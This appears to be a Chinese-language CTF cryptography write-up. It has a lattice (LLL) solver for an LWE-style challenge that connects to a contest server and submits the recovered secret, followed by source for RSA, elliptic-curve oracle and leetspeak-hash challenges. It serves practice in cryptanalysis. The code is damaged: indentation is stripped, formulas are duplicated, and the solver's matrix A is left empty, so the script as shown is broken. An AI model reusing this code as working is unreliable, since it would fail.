中间m个分量,第i个分量是(sAT)i+(kpI)i+(1bT)i中间m个分量,第i个分量是(s * A'^T)_i + (k * pI)_i + (1 * -b'^T)_i
也就是,j=0n1Ai,jsjbi+kip=ei+Kip+kip也就是,\sum_{j=0}^{n-1}A'_{i,j}\cdot s_{j}-b'_{i}+k_{i}p=-e_{i}+K_{i}p+k_{i}p
如果ki=Ki,中间就是ei了,很小的一个分量,这样就完美地得到短向量v如果k_{i}=-K_{i},中间就是-e_{i}了,很小的一个分量,这样就完美地得到短向量v

# sage
from pwn import *
from sage.all import *

# =============================================================================
# Step 1: Replicate the problem's parameters and matrix 'A' generation.
# The random seed is fixed, so 'A' will be the same every time.
# =============================================================================
p, n, m = 257, 36, 50
# import random
# random.seed(int(1337))
# A = [[[random.randrange(p) for _ in range(2)] for _ in range(n)] for _ in range(m)]
A = []
# =============================================================================
# Step 2: Connect to the server and receive the public vector 'B'.
# =============================================================================
context.log_level = 'debug'
conn = remote('node8.anna.nssctf.cn', 22485)
conn.recvuntil(b'give you B: ')
B_str = conn.recvline().strip().decode()
B = eval(B_str)
print(f"[+] Received B vector of length {len(B)}")
# =============================================================================
# Step 3: Formulate the LWE problem by calculating A' and b'.
# =============================================================================
A_prime = Matrix(GF(p), m, n)
b_prime = vector(GF(p), m)
for i in range(m):
sum_A0 = 0
for j in range(n):
A_prime[i, j] = A[i][j][1] - A[i][j][0]
sum_A0 += A[i][j][0]
b_prime[i] = B[i] - sum_A0
print("[+] LWE system constructed successfully.")
# =============================================================================
# Step 4: Construct the lattice basis matrix for LLL.
# =============================================================================
dim = n + m + 1
L = Matrix(ZZ, dim, dim)
L.set_block(0, 0, Matrix.identity(n))
L.set_block(n, n, Matrix.identity(m) * p)
L.set_block(0, n, A_prime.transpose())
# -- MODIFICATION IS HERE --
# The original set_block failed because b_prime is a vector.
# We replace it with direct row slicing and assignment.
L[dim - 1, n:n+m] = -b_prime.lift() # 有限域到整数域的转换
L[dim - 1, dim - 1] = 1
print(f"[+] Lattice basis matrix of shape {L.dimensions()} constructed.")
# =============================================================================
# Step 5: Run the LLL algorithm.
# =============================================================================
print("[*] Running LLL algorithm... This might take a moment.")
L_reduced = L.LLL()
print("[+] LLL algorithm completed.")
# =============================================================================
# Step 6: Extract the secret bits from the shortest vector.
# =============================================================================
solution_vector = L_reduced[0]
secret_bits = []
found = False
if abs(solution_vector[n + m]) == 1:
sign = int(solution_vector[n + m])
s_bits_raw = solution_vector[:n] * sign
if all(bit in (0, 1) for bit in s_bits_raw):
secret_bits = [int(b) for b in s_bits_raw]
found = True
print("[+] Valid secret bits found in the first vector of the reduced basis!")
if not found:
print("[-] Could not find a valid solution vector.")
exit()
# =============================================================================
# Step 7: Reconstruct and send the secret.
# =============================================================================
secret = 0
for i in range(n):
if secret_bits[i] == 1:
secret += (1 << i)
print(f"[+] Reconstructed secret: {secret}")
conn.sendlineafter(b'>', str(secret).encode())
# =============================================================================
# Step 8: Receive the flag.
# =============================================================================
flag = conn.recvall(timeout=2).decode()
print("\n" + "="*50)
print(f"[FLAG] {flag.strip()}")
print("="*50 + "\n")
conn.close()

IqqT*

from Crypto.Util.number import * 
from secret import flag

while 1:
p = getStrongPrime(512)
q = getStrongPrime(512)
if (GCD(p-1,q-1)) == 2:
break

Dbits = 440
N = p*q
phi = (p - 1) * (q-1)
d1 = getPrime(Dbits)
d2 = getPrime(Dbits)
e1 = pow(d1, -1,phi)
e2 = pow(d2, -1,phi)
m = bytes_to_long(flag)
c = pow(m,e1,N)
c = pow(c,e2,N)

print(f"n = {N}")
print(f"e1 = {e1}")
print(f"e2 = {e2}")
print(f"c = {c}")

# n = 153098639535230461427067981471925418840838598338005180035334795636906122233147195601425250354397215037964687813767036136951747775082105669481477681815877751367786247871862319200300034505895599830252899234816623479894529037827470533297869568936005422622937802442126007732338221711447957108942595934348420152967
# e1 = 26675174225063019792412591801113799130868333007861486357720578798352030914999710926292644671603600643369845213171396954004158372043593223603274138224817810197939227716991483870437629436082594926630937775718564690554680519001757082557490487364436474044434348412437933432480883175650430050712391958500932343901
# e2 = 43950877784211432364704383093702059665468498126670135130662770287054349774316943441695986309047768423965591753129960761705976613430837039441242214744782506036708881166308335886272786409715558332802625980679432726451306523481798238346507261619084743433957076290727858148266709423500224748925763767341340730807
# c = 93877717323267388927595086106164695425439307573037159369718380924127343418544815509333679743420188507149532789861080535086578879105173477672709484480809535461054572173818555600022970592546859742598747214025487041690467952494343056536435494716815059600034890617984024099540213482984895312025775728869974483561

cme1e2(modN)c\equiv m^{e1\cdot e2}\pmod N

HiddenOracle*

from treasure import FLAG, p, a, b

E = EllipticCurve(GF(p), [a,b])
A = [randint(0,p) for _ in range(64)]
B = sorted([randint(0,p) for _ in range(64)])
oracle = lambda x: sum([a*pow(int(x),b,p) for a,b in zip(A,B)])*E.lift_x(0x1337)

for _ in range(128):
print("[+]", oracle(input("[?] ")).xy())
if int(input("[*]")) == A[0]: print(FLAG)

LeetSpe4k*

from functools import reduce
from random import choice
from secret import flag

le4t = lambda x: "".join(choice(next((j for j in ['a@4A', 'b8B', 'cC', 'dD', 'e3E', 'fF', 'g9G', 'hH', 'iI', 'jJ', 'kK', 'l1L', 'mM', 'nN', 'o0O', 'pP', 'qQ', 'rR', 's$5S', 't7T', 'uU', 'vV', 'wW', 'xX', 'yY', 'z2Z'] if i in j), i)) for i in x.decode())
h4sH = lambda x: reduce(lambda acc, i: ((acc * (2**255+95)) % 2**256) + i, x, 0)

print(le4t(flag), h4sH(flag))
#nSsCtf{H@pPy_A7h_4nNiv3R$arY_ns$C7F_@nD_l3t$_d0_7h3_LllE3t$pEAk!} 9114319649335272435156391225321827082199770146054215376559826851511551461403